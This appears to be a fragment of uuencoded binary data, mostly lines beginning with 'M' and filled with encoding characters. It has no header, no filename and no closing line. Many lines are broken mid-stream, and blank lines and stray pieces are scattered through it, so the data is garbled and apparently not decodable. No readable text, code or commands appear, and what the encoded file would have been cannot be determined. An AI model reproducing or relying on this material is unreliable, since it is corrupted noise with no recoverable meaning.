M>0-74!U0B^7(TV#3HV9`D-S#>`<&\&JI=EI$C80D_'=1X##^.D.+DJA`/J&G, 
M`>`Z[+#,O-!I$DCSZV\7Y[1<+:Q*`&$2!\[HL-AC_28REVXCP8;\P0>DXE;XP 
MO3-5EMMK37!:_`"V)#42?#VU993-GM[77W%5OIGP1M7#DR'XF33"E;MA]@3% 
M!^$0+L)`K7D&2XPD#92*STZ!U)N>2],1'LD%7::E^$/=OWT9)"B

ME#(O,4\&7S3>JX)EF5Z7"#U,U-P\G)D*&":P5]-5V&I?AL'AJ?!T(W-H\YYCL 
M3.&_SD[2YU3\%;\%3\`:JABJM%,E#HE.1">3UI#>WB0(B#BX/SHU%'JDAW`B&"C$&;/
BR5-][I8H?"C=6G&IZ6^^"ZPP-I*(!@*>&TR 
M.('%]^:&>`MB$T?,'6P]1K*>,RTKZ0!?WYPWV`F'SU8]>$417DRLJ^VI%A81/I)]'++ZF<4"
3)H&ZOG 
M#!G@)&.9`0F?7H(<*.LF%9FVWOEC=TP8=(.ZET%N!4AN:0#$,M^V'6SRCB0H>

M\#&+!9[1@RK07@T'70F:ATO5@'J-31#A1$BQ[+B+3M/B)&Y*M]"QC-%H;EMP0

M!\'0W%V,)B*1T0:XF)?#P>"`&:<^D?)DP"6/PP(7!SUV&0Y:*D,[,*G>PKRD8 
M1[Z1"Y&_5(YPTU#,_!$J5M!VN\$6%`JNC#'L!I^21J'NEWL5T$SZ`,*7D=3+N 
MJVMD#FI->5+'9VZF_J+>JN0V=:JK&NX>RR@\QRYYD.(STK+34XQV"XKJ^E8'-

MW[J*Z\*%%-O_=NV*:/*BPI93O98";9;*_G^4:U#6[)]7EUUDIOJJQU[7?CT?O 
M]^'-]GR>#^0ROOYCARO2_5,J/G\7]GFZYJ[YVN:5CS"OY.1=;CJ%?A.5:W6!) 
MW*OM^BS=:C/TXX?_/K02W_*SV]1JOA5\CD9']GY5?P\BZ[W6JV_HL^6"BJ&I%

MK9%<\F#0D-]5UL,)YH=LQ7R$%<,01'&F$,>S@HJ83^1E&&IPJJTKM]+%

M-5N`B$9E,01OJ6E)NO7%\`->2J01_08!YICMR3_$.16#"\DKW[`.>@D73&;1@ 
M2/?3KB<.#2"A<"%+T$E_$@C?NB`?&G;&6M$YE4NZ<^FDY])%\-W0`CW+#[$@/

M92.?+"M,#PJ=`?*E,Q[;99U?;3._J+7=9VVM-I9%!2]D$-QN^09EM`DEE>$X. 
MP@.+SMKP.[:TI]3[H#V8`>'[3P3TY*/EPRB+,MS$.[]$J;^]#IDLTF%K$99#1 
M+E$LPU-I(CO".,"V;[%)Y'-9B&C8A*H'^F!SQ(4@M7]EXNQLM`2?5VO:

M=@%#L]]6EGUO&L.!'/+(Z'.<"HM*SG%TV"6C9%IRP&:%),'2A$)IIFKU?JW7+ZA7U\GF
M<'CW7M]!( 
M-RRO]N/.7D+^#,B=SWTGHE7F.)8CS&;V=SX,GYBO@8\Y$A>JS=3N>]D]T4'_@3FQ@
$F8Q_)5:4^7]SNG+\UL[2LWU0(B;67,LUTZ/3'8R@%+- 
M@Q(*8WR4.#0RG)S3').&?P@X%T-?6XG2(MZ#_-ZB/CE$XPCV;*O_W'^Y6A\H1 
M;J769GR7UV0)T:NHW]+9L!:7T9Z@T+?H]%2*1`^::US#V^$=1DNSE1,#-,R"/ 
M(Z&9"T+LT`,KP(E#$)XR`P8$VRQ;LV=4FB1:_AU&]V!DWS@)=X(KV815!^$X3 
MSOF*9DHF:-$"M?+248+S-C,^((^+G;'Q=TT7JE.+R$PIE'*%NRX\?E-[7654UL;':"1;M_OH7
11] 
M_?7VFVN0P?:TW*;_!,GA/L5`"6E"R9%KY>XET,KSWI&CH$^[D0$]$%G/)&UH!?F-+IA.
L1D.Y60__&= 
MAHD\.$<%71*\<,V)*YL.;.HWG=V5+RRTU@8HA3,>C-/@

M5Z@E+BE(X2SG+D-KQ4TP[ARX2;&T^A,1Q#MR`XB2T@DZ[%.`E#-8!L(P/5;&! 
MQWKB2[.&IDN6ZD`'_9O,-X6NL,H;?3KE_98XROMFWV98-*&SQJ2&4"]&L9Q'X 
ML$?44ZBA?DN%'JT+#LG%XSF#^N(;:,TERHF,),^],>W,>Y+GL_`.+LB3RICEQ 
M,N*>CA98VCE<^MY=+A.$,%9`,RYA`.ZO,'==!`\?_!7[B1,@MJ1F,H#?*G":T 
MZ7U.)"P#&^X3@'I2T_#L$M\Q&=0@:7GBK-MX2$BYBB9@66%3[*3O,Z'5J[W1U

M9SG"^RV9`8\#BWX83B@/[Q9$\SB$I.0D$EZ5H[J^"!H:XT,2@S0RY!F-1',H! 
M;RF<%$$5*;GE(C6C+MR'V:?LF.?GV'LF`UTW,)KBW*H=-$@&9M^\I+]\(AJ(WWC$\Q.C
_1LV=$SPU(]**+5<&SQ< 
M..,MI`AB>&TL2AO1W<,%PQ5DG'68R(PF1"D!:R"%DO.9($9!%-\@)Z0:U#(\D 
M0/=]AO`HK,Y*N$ZBK%$[UZH)OGXJFJW>IG#=CN+&KMZCP=G9*;RMW^TL:S?5_P*
?_*8-T?PXOJ`(UF6# 
MM@="AN\0=KLZJWVOR^C:5F]K2`PL"E%URB3NU8?Q7V8]O1`^=_5;]1'MD'G1=

M4<?-VF\J>?4<^2K]_N6D\+(?BEI4AXQKF$N8Q!R_UXM+9.L,3B'#\=X5(1AX"$>][L#PW
4"EL^W*A^;+ 
M%2S='#CZD3OLE@VV;J-UX,=;"H4*%DM^,BZ^T/MMPL4QI$>3>QRH2>BC++D#-

M50[M#05,SM2D&2&]B(ZZAQ"VJB2IZ`5I1\60:EJ`3X*!K&WY."!\?FY64W1'P 
M9."36K,1V447C+9PB-L=-.ZFU%.9CX9+LD/O%0+M(HD-$\7)*D/B8JU^BG/7X 
MS!P%-'(QT4:?0AT?/,THBT(=ZE^1!+0QM6$,I4YC(7K0&('HCD2X@=[%.(#J7KF.3(/JE

MH:.?#H[2;O

M65S)6;J)LIK*?LEL+H0H=[C/,2C8FM%'.`4[W;I?*6W=8>WCN2B'-ML19]B]TOVT#<.KX:
EE8<#9VVO.)NG 
ME^4_G!AZ/.*E-P#9('+O3JO'\52>0W1)"M&

M?/]T31N+"D+)D@GH;LA'<,&\)WG.),%@$UXE`0361127J,VWR

M+PA5?LB@DQ._R0'4W[B^>R7C4U[_SVJ@5&;3"$_F)C`W$5EF4S;_B5,_IL9\7 
MU15.6(PF*[W"8_,4-5%NGL4H"YNAL:"M<4V7Y`9R6/2@>!+XVG*J58)`A29!# 
MBK%S]L&9W94)R6[_A/HXZ;C#OJ=5R:?G6?HD!9.$3CE<8@K*`_)-\9\-[W//X 
MA-I^S\D>%#1D3D8-BR9^<'3WJ)R;&@+N[U$=U,A/B0KL$P<%Q$?G/_4P=L5' 
M/BLN4%+-`G%02Y%!-A]^Z1%A\V5$!>?,NY`KV>>1/A0WA*6G1"U8\*]H6*`@[K<>G/.-'
&$2]DTN7`T'YO`Z+W=AFJ?*G20-%KVUO#EFM*&[T:;S!QN@7F<1TE4_ 
M5%9-@42LDF(?^VKX7M*(NE(8XPC6,=&F;A'(HBI9MG0[KBGP(\8

M("=KHK]6@DE`AP(5C@IRFI-4=!@"S>P:W0\%'5Z",ZNSAJ93#%A_?A-NU6B06

M4HYS^,&I+6EOWV#+%(H3$VD5C9Z,<+7A-F7Y]/NB'_)GH?1;ML_:

MC9'H=TB&8H/4E`OS98Z?X5.()WCPVX_R<(+E6,.+1BY1T"1:,6QFG31%.Y7;R.,BBCDW
)U)"?=P_1.%SHL(UA!T 
M`LW\Z9B?3'S?/SNFP3SD0[Q=Q%@)A";=D/DP5E8U:32TYK+_41FL,>7DD$%R,

M[*@`";3L;CB'?0]_^T`AS1HJ=&;FQSAD'A?$!?34+I-8TQTS_^_#"-1PZBUJ[G:-5UEM;BJN
:JU$BI$QSV]N=M8B/VU_#(7F%6[9 
M&IN=M:5AVV//,__^U]`0V%`S-NC$WJ#)8FPL&32Q')3_TZBE(B2A>H

MOM&3-^11XWRK'RJV)1<.]RV;O.A29+LA(Z".9T>[M?%K[G=)'?D@"V4]E/N<9 
MPH2*9-?-.XZPZ7$'9AHV50FR8)T/6UBIH=@G5EPFB;6]32!4@-,):V/U0'O1H.3-4L.P?C4\,
AB93T\V"YP>,C5LRC.:+;[3J*_7"S6 
M9UEJ8EL9/K1?VJ?50"+DT-ZD5:BOZ;]]F"#@XIQ_LIPWH3^&0^3V66/7_3&'/TS?>='A^?
;Y;E@E7T7+;M8;O#'%@(R]) 
M1\$AAA+TW_3<>>91S)48F*%I'P9S]+XB=9PBE"LI:U,5S&32H+EODZ.'H,QW1 
MAF1]+*^"S3LDF&[%B/G'SRGT(8?DYA.'8HO,4Z4U@1VR-Z)\.=K?I,SF8)1W` 
MNYV7$*@'3Z"2;N:B4PS)OJ6[J;ERB)>6[%48SY30\X%"(FSBG)4TR8D3NTTMI 
M7#=AVR#%>RM+]$4"$21$<>?-([4/;4[GH4#@%$JT"`1C,=1NQEF.='LE`Q41H 
MIN.^PA4]_P="@92=>(BBQ13K)QP?0.$B/-@D;("F9H.EV6?AB^BRC7Z902#\_ 
MLJ+9IJH6+`7YYA,V)N]A1B'5E4+_3$/YRX#>HYT)6FLU1,I7\JP9SK@^21"E@ 
M&LH(IX1$(TD6R#/D"#.6GG%B4S(^D7IA6"(V3(KF'M.Z7.B*SB_)$/TG%14#M 
MKR'11'J^@E[2R4V-3SZG[18$YW]'`('O#18=X?8KDJ&3MFB)N7R^HYGRTL&>, 
M9S-IN,.`W/IQZ**M/)2E!0F8T+?Y)[B9YUQ*7[GRV]*[+4SZD-Y3>AC1L6.._ 
M\SJ'"0@:5KBE!\1_[811CI@Z7*XTSB(I[$O;139]>PBFPSLU\:-G>

M6*Y^CHV"V0HE-VWH!AFV5*0;E-LPJC1(C@:%!3;^E`@]R5#9_ZA*4,42[;6'< 
M(`5,*G1(M<*G.W494'G'C+JIWK^3]TP;\KO:!`YVJJ)K"?=Q0'HD`Y_`<]]1Q 
MIU-0RS+H:1`Z)__FMT&#*09`?\*:G!(Q#1V_@JT@^LDIY3/XREG57!6#6-WXI 
M9SHWRA;ON<$<8[@JR3.A/]T,%5=;@`1W^$*!M8&/UT?!,;DM_4L

M_!,,IV['($B4.!?EOB/@TM:_T%0SI/%-,IIAO;<*%-WB)=&5'&^6B"OF^//X7 
M&O)2MN0(F?W.4?C1W+*G*9?0"1EK>P5JY%(\$OB6$_@M&5;L*:-O&&27Y(KSH//YB
5*T4/]ROIU3A"9 
MNM3I^V:`6/Z970"'9YKHIOL%;%E+'H^*0VVY8.(T44Z1G;^$?TWF^WY:-SZYL81/(5.7H
@.S2M^2JE2PRN4W))"5V5RKWHU%CT:;XK0'SVS$+$HS/ 
MNI,"7;\9Q$A1EP(OJ;BM\02*4Y"N0D?1J>^57?J?A?4A`H0[=7G/11+>VHS*. 
MO,U^97RIT^C8G13EQ7$1"BI1Z&F$>A4MZWAUY>SQ"-\HV;3\**E48XM_U,XI[

M#XM'NE6EYDT8XLD9./@G$=]N)X&*GGOWV'`0_C;<2WA7(VB)6G(_5

M8X@?>$LC+MB==AEWD9;6^`X;S8NAJ7H."7%Z?P(ZEER2A:*JK3$`6'J;)3!$, 
M%+)\K,[$!)**%CPHKT,#_2^,8UWJ(N6BJM0!)%%SKIN.DBVIB,5O+!?W.!-$E 
M)/C*<-_B+?BU\00&^S&E\CO)+@F-:"89Q;TG+Y_!4=_`375(F)XLG'_FS;VX4 
MIJ"]IQ3=,BAPP-WPEFXG2(?BLN$M>`LP*<="J-`Q1144W"622T/.:>FRA%F\< 
M_`IEH;)BR\2JU'&,8BB@9TIOT)?!A99A+TPUCA1YD4.'2E0R)VGR4YO@$R/L" 
MUBJF6[<7952RF\@3E];W&!)^/-9ED(V

M@@<$YTF-">63%\V#:-CS3#<'[:`99EO>8A,4Y[N4+G*X`5T1F5&D;S,'PTB6Q 
MSN$+`?1#M4,$2>\Z,>Y0J'I\T6D&(O+TB*AM71ZK.SX]A_?GLU&?J^Q[HZ*?5 
MS'D>B+X-K*8WBDDQ$T\TSBYU+64L='QDOTM=-RT;M+#]MLS@9[<1?'Q>GXWFC

M:ZP^&XZ3YW-RN#G])\X^%[;@_?NOW=5N_\1\8%\'GQ\Y7R.L9]*=5]#K/P]M]7ON5K/V
>?L)WUK#E:QGZ?QE8%>/YO^$YYD+K\H_8 
MC<7:_@KN]G?CNM-J-94][R-;Y[GV=9?]!YY_%R/=>Y[&LJ1%<>]XEA+,^GUY'

M==1\;[\;F^CWB?B\%/P$;7;#9%@G8UVW3_^N3__=I_]1/_[I/_UO^O'M^_LT, 
M__5I_^L3_^O3_]0G_Y8__\;C"+T]_.X]QP+/O_\<>X\4?[^>XLK/OYW\]QXE3 
MF?PZGU/$&(RX6;4[[;\*VR/8D3#KU*[AZG76'VL?QI_H^O]/4U-'[.IJ>J<4" 
M?%\_4:EQ6Q--WF[BLG\9&ZEQJL[V_8U+C[QYC=_!W_4X_C^9.^!F\'H_L35'5 
M68]5F8/_B=LK7D]6SE;+8[W'ZX_3G_5QX7UI6&9OGEMR<8F#'C!6U$1OE4F/P 
M-9GR?@KCM4QCGOY579F9?1*>V-"LK3@S8=WHYDDL=BFI/2[67Q;6*D]S/_OX;

MDE9'G><7PLN?PL^58E

M`^#5"L`2@>^NL:QK7VRF?H2H&IMQ6%>4=PZIH'.8%#'Z[AUMP,$^$F_9R9SWC

M.V%X$EAW7[ZKLA\*7\&JN2Y^OMMI9;D!JZHZQMJ]_5$M:CX5-X%1;[3PJZRK@

M&J\Y-RW61M1X8O#^WJK'8^+5'W2PC7<0LSU_#'P'F*X%V-L.P$+A=][Z-I24S*`-+6250`
WK 
M4:A:5X4P`=74777U4RV9+,"3,AF2%8;R\VEH6!;:%MHRT=4-H%W2%I::-$@\: 
M$NY+,TF9DDR-LBL7R$M1P1>.U>4UU`T,K2UMA(4KJJH!^_?O]_?W_S)0=>>=A

M[N[WN][N[O@[Y.^+?=WR]WR]VP'>]W;6R-I6W<=6:)+X\,@($!YL3;NRA;;4Y 
M7"01';PCPZ"*'R5[(O1,W[42"I.Q?#A<+3`/]B:7?-EXT(3J8*D(M5YKH(E#N 
M3$>FK__F*.(QE6NVZ5VU^Q33]GZ&4I/+OMLZ-148R\F2E*(99K;XAFR&HS%B^

M\)C^^/A0FE61'*T&/S\=V#W2;'4W&EVBU`S:P;J/>2?Y)4^RGY^]%4KQHE\`B 
ML:-GV4Q.'4W[%<:>R>8XGZ>5&P_)Q/CS1O'B$)K*#!!>/2TO=VVTA=II=II]\ 
MF4;ISTR/_)TN%$H5EX`#S@#?=&O*!&W\W5=P;9RJE*>F_$T_$UO$Y0=&]'-,( 
MI*=S'K9M:P1I`B'SS(/.#T+JMKK=CIZ6KN%=A:%D3G68%T4IT&&4>?ZR?7SHF

M7H$DC'!1'-L3[';ZZXU?@=/-DD%6

M6B"+[#NESBN;Q#ISZL!N5I:_9:+:C[=H"AH

MCQ>6.(?MM+V<+?A4R;V([X"C+M0/)=GK=II099=8K5;H[CJ^U.3?4;/7;?3`+ 
M#FZ7;PB1[]KHNS)^QA=D.G.1UFST8ZDZ7:Z_MM%WQZW@XUD&6OD_7\[F8/],I

M;2?!A'D5NEXDZZXR?(B2]%M>I&:G6J)%Z"CEZ6KV/8$?>[8".L"F/KN\UNRUC 
M>1K-HA^F=)':VVRUFWA;77`S_CFWS?WJ/1^;^]_Y_WNNC;Y_CYW]?^XLG>6_Y

MA2=YM?$]@/_;^[7Q.L7XV_/UCOS]%O/<_6/U]8/Q]$[\?6+\[>+/W^1B]'XWS 
MI8NU\3-8H47DC>^\!+'OK4"N>R$^2TO7G[V-]"1@UXIR<:6ACJ*FW8FFHD3+E 
M\7,<4Z%/MO5_]_#9I>U.?>L@^E]KY!I7$2/93[#$L9]E@")9I$W0D\]RF@[TS 
MFALG`26ZLH]>[B[\B6$:U^X8J%A#69CAD='55G;Q:J!,`F'F1L"!*_<94RK2A\U32?9E>9Q
MV 
ML,>>WYVLCXK$N[-(W'0,&',2NHEQY*0:^OPQ+*T.:";TFW(BD-Y&>EZ`2/ZIT 
M5(BV04K2+_QPO)%D7'+JCR]#+C82M)9B=14DW`*]&IN2Q]!Q'W'."CHN/?*JV 
MEN%(PFL4]D8WD4(44`\'A\E:$W(VQP;,2J>B-HONHTY#5<]X9E-3L7&&=NDK! 
M`$%Z&GFN$CB^*:7KL8/:10Q3?;VEJ4/T;ZQGRC4`3=G\@4>&;5[FP!$IB*T-V 
MMW5,^?$$\OUD`+UB4NG%<+`_Y-/KH(BFB9!8CTH`,H@8YXW?5Q0M/1=>CE"EO 
MVKJ)_?=6AIHLP8K6J/,PVL4SW9$LK36M4[IB[33=PC*O@!#:$!$I76_=&MFD-SV&'6FX'
,^(8!^=GYE/MZL/\Z0U3/XV$->HJ#AKIL=Q]UT,R4 
M)X,<#7LCCD?C&V*\JYDC!RL+C$\F@04S$?T-QW@,\39YI^MT%8Y9!IQ0$S0NA

M248]$R0_S9*18&.1C[0<`3]V)>_P3459#;`ZC?XNZ%?+,9:`=K`K#YUM[AR#I 
M3SR4,U5,\.23'&D3=-8_"8SI&DUY4=[ZLZ*X)[-H-;M4LT3V[@!.\G!T]:6_W 
MD,0OT=?Z](KJ[4QFE"ET0KSJ/I$9Z]U/'6D^-A4=)1!MV.)4O4>#&-A'<;_;X 
M%U-IDS6%O9)"[=979076Y]^9U/2=1^A[A+.3R_UDLY/YO<>IUV'[^'\7C\SMK3[='=>;ZG
58?.PY''A9K?= 
M"\;Z]'5_V\[2R5I9"XJ]O>9O"]WL,UL+[CN4SO>Z/W7PN_FXT/Q9U'Z?Z>ZU> 
MG\^K[OY'^S6K]?`WM=7<_B\#>_*KO0Q>S^==Z+HZ[@;W/5WM!^&MKLWB^!U'< 
MN.IKJ[8]_=QNANKNX^%O?AQO(B>=X7D^[[7RIOV:VN7WY__5H\UL/Y,7R>K]: 
MC_#['WF+\'X9\3Y/.>5-Z*7S_-_#^YU8^^\N]BWB?.7B?*ZO.?PYP^)B=Z'O[O#^GG>A_HN
PK$OQL[+QOE5WN<[T-V?MZ3._)^[\OYVP[[L;E 
MGN]YKURO7UV;P\WE+F;=P_$S"7:G7^7R'.6,3%[O@E/]?=X?O+>C=4

MM?K_'WFOS7C\3[VPS7O+[CN^G?V>'Z?X;W%K/,YR-$PO@:_R>@Y3.[C*?'WG-

M5_G\CZOD1L?/>;_9>\]X/VN3]UU43R_L6GLNA\JLSW,V$3%L][Z&]FR_&\3TV

M/LS9=UZ0_N'IL[SD>)&Y>/$K[N3$H^9A\F_K[#^[[7R][?CPM_+YW`Z%4'^Y) 
MZ+[T/WF8\6+A=_[__3\KYNO[VWXH\OSO?]?[GWN\C4>:_;8UO[3<4?:XW/=YH[H+NK
FO\`PW"V.D$:SK;@"`&EK.SU>ST^TT! 
MNUA=W"XM9Z/LE2.U-N]KH@E>(__9!"_[C3TOD`;\Y2"=+A":=A7'5*;YTPC4! 
MX7=:?8Z_9:2GYE5=L("7M];L82\^9LT'$T;^80T?;:+M=+2UFQUY0DUO3Q??; 
M>NVFB[[2]LILD\/]QK>\%*]V?5,>!UX7*D=&_RZX2'.GN.MV20*ED.7-IK/HJ 
MO"ZO;_+VW7;,4U!YDC;KK9P

ME6;O3X+37[)P"`'B@%3(-6[P!L:S*_TU6?1I7R!4:Y-++M%0\%(670:I-JXR- 
ML!E<*P5X[,L\D?,BPGHG2Z)7N>J@79$ZF.7O)`N.:-N/!X!

MQ8=)'1_^])?8HE2YK%^#WO*^C8_?['T.L^_V/H^UXMB&#?^#WOLK\2<?W^QXR

MOM>)[*_*9:G\)@D_@][[._)&?L!XNQ)'?=X.N"52KP8%R)\'&`OK.N?<7E'OM 
M/Q*HE^Y_+Y^^\#MXO2_"[:+'YSM(MO53/F_8Y',92+^7,97NM6!/_R8$_]9HI 
M]-,`H!QO+WNFF;"Y^P/EPJ3NP\2'YV7%69XGXK]

M>O]NZK,GR^PYOU5_XJT/>^1F[?^H?K&EWUM;BVF]N>5\2'@YYYL<=[7%0J[U?-<^/]
M_T>&!4_A_@6JJ*K3J\USC 
M^C']'@Q_O&%8/K>)___IE\CG':C?R,[OH?Y>7N=7:0\;D0C(M9^.W^=NJ/'\0 
M#,0F6!OA2?#\7ZN:A_,Y>YMZZ'V_(^+Y5#;H_PWHEFRB#+I=NI^/'?2P5CC^9 
M?:%;SS8>QC%Y(WBF;9OMC=[%OK)LP)M1+)RJ]+CQ!FQ1C15=U_1^.WF;NCD<9 
M!;]O\6)1\UOI^?B4?P-]/=_0H_:X$/###EV?VPDWOWEO]]/ST/(Z+QLWZZ3K$6@=)WFD
V552TH]Q]=+@E 
M1*8]*ZUNE`C1IUN7XM6YM6:4HR^4_G-_?452UG;!_)&=G=MFQCKPM80)2!F>.

M4'SJ^WMNXUOI);3ZDY["3,LN+G)"N[_>13I[$1$ZNZ\T,R7Z9((]SY'^>'[[( 
MD$E8?7_%A\^WT_4^-#YOD'+#_3Z&]?SD/S?>^-FKG(D0][E1CIDV4/TLJO'Y: 
MSIH?HM]/DR8?!RK>9'D??9M0I-5X>9F`:'\WFX?[FPS-^/IY7-PZMOIK,W#X2 
M_89F6/IA9OD.R>L2?W?#[^ABP[B8K$KA>CGN9'@;3QKGZT:'

M'GLKXO+7VPK@S7+UY/77DHL+073V:3PZA$^33VUV-&GK`B8+M1VR90[62R']% 
M:),W63)+H(3Y-IKV>IVFO:5[,7:-X-4SM"Y41C84%^2KGR0WFF`9-YY94+>"` 
M:OSEZ2BPUVUDS(+IFX:QD7!C8_:-I%7A!OOQQ:?\"RF?+[:,8U?A:R;%=;GQ" 
M1==]EA;(Q[SMK//R;\,5'>0NV!319&%62+=;LNIFN+EM_$O$/O^$*?N:VCL]: 
M=VNF4&#U6QZG;J!/"(9]3V^E";5Z0HC2*G:Y&*<;58VKQM2/]A;<)NCCPN+[I 
M3]/+$(I^=FH?9^^\7X'E6_(S@FOT/K=:,'H9/O-MH"^H-`7SAS/>_HSD/(NEC;- 
MZC(M^JSE&12Y[FX[UM%Z*W][?4?HTEI._>OJ/SZ2QVW/WK"'70F\'E!I$]#XC 
M5S^>PAZV$HY'A_`13"ZE)'5/A9A;<*HE7Z7UEDU

MHG96,8LNOR5^3'NX)@^2I>>2P3\P%V%7E>#S>^A,LCKD-==QZ?44/<4BV>`5)

MB?CN%5-MO['UECI$X?9B]%D_)8&[X[:0L0O-4/

MC:RS;;76;F^27PA]5QU'>1%=N]K_`+`BX%

M7)N(T*T@T`>W$F]'&/TS:P2#!:J`8-Q(%GG`T5P8U-*^WD7-Q/9=)*H@HM^^J:\KE'O4)L
2H(.C? 
M[[2[[*F/-[03+YFWU<@3!"PAHPZM@7"<@_S'-!

M3746MGM)VN8_5W`ZP2NX[59??2>2@5.-`.%V,9Z/'\`+;`_YDTUQ1,*FD1E'$ 
M?$$>6SILHF_'&]#Y_'A\)=9;@XVTJP[9P^&W5EKYZ:?R^W:N%?[<(E+81T',Q 
MK.[:=W;4[%^)-2U;*YFP97@TW4J<8XA'M?IKMF*I*F8Q@T:>J9B45WUIDKFF3:;LQ^I1
W'?9AS"S[HC.,A$=BKB83%0L+0F! 
M)]+EM6L5&>TDR%JX5(TI1BW[48%SI4XR_U(%"`A*DL7R2M35/B*Q.HUMX5N7]

M?]Y/3=6%:'*H\@YSXQ1:-3O,UVXC/L"M2((E<8H+WW!P:V$S0&??O@1]YEK,#

M:MZJPBFT[K,7',-3PG874!K8BB:Q174/5V$SKC*ZU\UPBC@]7OPF#9$2^_JCO 
MH`GO#O\Y2Z[;=5M(7AY6ER7="PFDT8S(JL<9*>^G`1ORS!=F`*;CSX46?5=WI 
MI8(SE#WE\`6P;U%(#:ALV=13#W!Z5$M]%'-H4-&0%K5:;"JTOK55#L_(@81%2 
MAK:1@3ID3O8KK."]",XK;#X2_&MR=ET[A[9D9U:[1'@(+;QVCVHH==\$RAG,4

M4JW>5W$B?8>>K2/D5HC,XN`%PA;T5D@?R?<8$.;IS8*[QDTYW#B`O?G$+8#JI

MJW4\["-,K]CU,]12C%=(@;=TWR%0Q7#>18RV$+I1/]8`\*1NQ2+:#"L7]2*0/ 
MU$&+9"PYN@W)X3LIN@>'YQ3-TLU(@*S=(Q2C6$.LMA6R`W'N:EJ]P&M'*IMHL

MLIMC0@X?%-[LV6S%35KU$5IH/.R()LK&_$I]7>0MI:(",HO)F$?I

MGL4Y7=$WL5..^O6\_\B^@1^L92Q@%WSQPF03ST%'*_JSPFF`E/&_UC6FER1ZZ

M#C#O9WN69"SV)!;)NVVKN=*.Z:8]SU?@4XMU!9&K&/8=.,4;T!S`V]_

M?VE6B&[`B%KMTTVJ?YV"^YG`R(,O!;,3;;\Z@*B3QUOCP#ODFOT:N8C=8VX@P

MX!_5M6I,5XA8"=Q#1L9CUI52'NJ-/4!&E;;J6T\]6VM^N>+Y)2!N[%GC=IBP"X[MX%%^.
(Q&-G@W4CS]CB-BMMGR2*V3^8:\P\ 
M@'XH'E_G?U1=&`I"97J>V8=]VZVTEBR)QM:M5LNQ#>2;PH;S8,K7H[Y\DM_$3

M^UFO@GYEE4Z3WM'*>^4^6%[99!)=:S$4N@+SUOJG!5\WSDRE]2.?0[GC81E#$

MSJLVSAT'7MN3Y/6>A`KL-_(8X.T#!OQ?I5826ER_BD<_@XLOH88MB-^R33D*0

M5LO5=LY>G[!;!^A@W'X07D]P]1N'HXK&2@`RC<*YJ7$6D0*'`7R987C&;'?H. 
M[A:HWH3^.+U;M5!*[6+0LCU1O/^,$:Y;<6@D40IU!)M#:N.JJS@N+0=<$7O;5 
M4'K'I+#V;CXV]'[3?16N8[D);K7:>9(B-8VNKW5AADR1E&$=`%>;)[%<9P43, 
M@3S>=/5@"RP*S":MW[#Y.-A.T#3FG.!M0VNL<;>4"`_!>/*7:E.Y>"G3P.Z#. 
MU8XHN.N=F_)JR@CSHN0#:;+JSIVY!UA:MM0,#;61/LKUA]SJKTX-3A59ABW,@

M#?@R9^>!PIM2.^R49[J)>P;S+1HZ1FML#;:!)584:BKF,Q8ICL0HW*0#3*K[Q 
M7RETR"\A)A52\.UJ>\K?G=KZH=)MMEKENG"ER/!(*KL\2R00S'H.0Z.7"#FE- 
M1Y2LE[MO0`@B0>>J&6F6_:H@W#EX!.!?MAP7_+:&^TO1?4=G3.

M##\Q!G;CV[]5_)5$=H,DTP<1>^1'GI)!W=`1TMQGRE[;7O

M/77UI0JG*RG`KK;A*^O&BNJKAU:=Z@SX"_BZ5]?O`X(I>8U,[.8^2=;D4]6:0 
MN!/6="Q+S2'9M*QCU?(-,9JUL,]*-6ECD3DYD\H_/7<1]T0N6H!-^!E3T/)'I 
M3K`AM"('F"!F1-\^@.R6E2SK@X=E_?GMK'YV_^'K)3?V+,A0`OG0S_6DO::.G 
M+L!UV+?\"UDD@2U(3=J)77LOL+,22Z^/_OV\[W]&VVD.NV:I^.D[[GO]&@:G+ 
MC\?N_>6_T?>T;':0_?]2*IG]>C7]]SN+#W.ON>_NH?4:>CX79IB5=WO$Q1?Q8 
M,VF*+^KO,SVMI]FC[?LO4UV'[B'ZNCS/<#R_F>KSO!AZC7W/GW4/1Z>C\/4FA 
MD!P_;:_Q?H_V\]G=!;.AI8B!2H[6W=HJ7J1Q_%I=7D:[(U-+F@@A98SU0SZE& 
M2QUO72O42]`)F&$$LU"$`SR3"^6>2.?QPB%?9A4)E4S\IMVY,849X6+SKV%I( 
M;XJ@J^/9.$&"/=O)&3'IA&=9)41UM#'`@":K,.CC-'B]+8S[LFQ<94O5Y:[DLF,KDDY*IBU
Y0><4J%Z2`\A#4 
M]/L;G4[B'Z.I\7M>GA\3L;FQ_HA^=J?%_/T\/?]C<]-+AW.IHX>HYWR^RB5`B 
MAFF%_$RW6>A"X#CUZ86=C(+-5&]2^*I*TUP*A+/-9#C7AT]Q.Q>#JR)R5(6C&

MMJU(]/F2&BPR'M-C:SKQJV7C2U@2[4DW$>;E,GQ/K%I_(`JAOJU&.>4\N_D=J 
M-]OHJGQ$">?6P+3"B6.J.*9[-Z_-QS1/38K1.&N)=*W31%1P5<*T4

M)-=MK>\ZZXT@UVY`+W=.M4G>7$E"=_TK&#?G85LJ$"';JX$B'E,(&,/^G$_37 
M6"1[&YO@9CLHM]U$S/8>>IA=K,=["[<:B(L`,=DN51G+<&*^VU7<97;P43%!=M;F.YM'
L$/`M29WXW1I` 
M./"%>MU6VTI(6+(R"*2#H+T:P+2%+4R>;*70,)W#0.R"^M9LFE*K;8HAXG>YB 
MD=U1[2;ZH$TVS[BV\4OB_X@2[S&724,A^$=]'],L^KXN_YJ2IV;9AY84`G$R^ 
M4BE_4N`/4[/4[<,D?2Z?#L-S$P(%E[@6/^-.6XV;:2=`,K[6XO9U9ZOK#.R/` 
MPM=P8SZ`R+O23-.6)-LCSF1DJT7_+!HQ0'$P#+

M8%V9F,B>LH;&=Q^5/6#G_TCG/[4=-?4QPI9;[7^YAL!90F1=$$%7BO+

M,.HIF8&-M\Y2'?UL@>?1PD@K#'<[DHI59A">]M?/U/@0O3_Q1Y']J$Q\@KE"B 
M5T%.%O2WPL>^_E*NXV0F*H!H+'<';!*\YH[T]EJNR\

M"%OBXTR9=J(DU$+$#JEJ46(*ERH(Q)R1;DK+*,:ZLX^_T@J`93\M4DO9!*QT) 
MR#^GPY+6K,UPW_JMD?%>LV*1=ER*'A*`32-1<_0-F:E)?>CG\2\IL62M>GT"_ 
MBA8FW[^R@/;Z7#WB?M]=Y3`K?]WKO(/06&621^4P;26\J/%@L+-^=E,FN<2Y*

M>`=RV`!`I+?0KP)\O3A/W*MZI0U2K)A87S+<`4;9.%P@O=:8U?)MOJJ+XER4# 
